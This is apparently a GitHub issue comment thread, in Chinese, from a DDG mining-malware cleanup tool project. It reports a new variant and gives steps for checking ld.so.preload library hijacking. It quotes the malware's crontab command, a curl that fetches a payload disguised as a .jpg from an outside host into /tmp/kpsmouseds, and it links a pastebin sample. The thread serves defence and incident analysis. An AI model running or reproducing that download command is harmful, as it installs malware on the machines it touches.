Comments (2)
crontab内容变更说明恶意样本已经产生新变种,参考恶意样本地址https://pastebin.com/raw/D8E71JBJ中
curl -fsSL http://sowcar.com/t6/685/1552846083x2890149871.jpg -o /tmp/kpsmouseds 可以看到恶意样本守护进程名称变成了kpsmouseds,其他变化需要逆向等进行进一步分析。
判断so劫持,可以参考如下步骤(仅供参考,未作实际验证):
chattr -i /etc/ld.so.preload
busybox cat /etc/ld.so.preload # 查看so库劫持,so文件路径及名称。另so劫持也可能在/etc/ld.so/conf/目录下
ldd `which ps` # 查看可能的so库
ldd `which rm`
from ddg_malware_clean_tool.
谢谢,研究了一下,发现只是换名字了
from ddg_malware_clean_tool.
Related Issues (10)
- 可否开发针对Ubuntu的脚本? HOT 1
- 服务 watchdogs 信息读取出错:没有那个文件或目录 HOT 1
- kthrotld 进程 kill 不掉 HOT 1
- 建议添加clear_kthrotlds.sh 的功能优化 HOT 1
- rm: can't remove '/etc/ld.so.preload': Permission denied HOT 1
- 清理完哪个kthrotlds进程又自动重启 HOT 2
- 你好我也遇到这个问题了 HOT 3
- 感染后root账号修改不了密码 HOT 1
- 遇到病毒新变种,修复无效,贴出信息仅供参考 HOT 1
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from ddg_malware_clean_tool.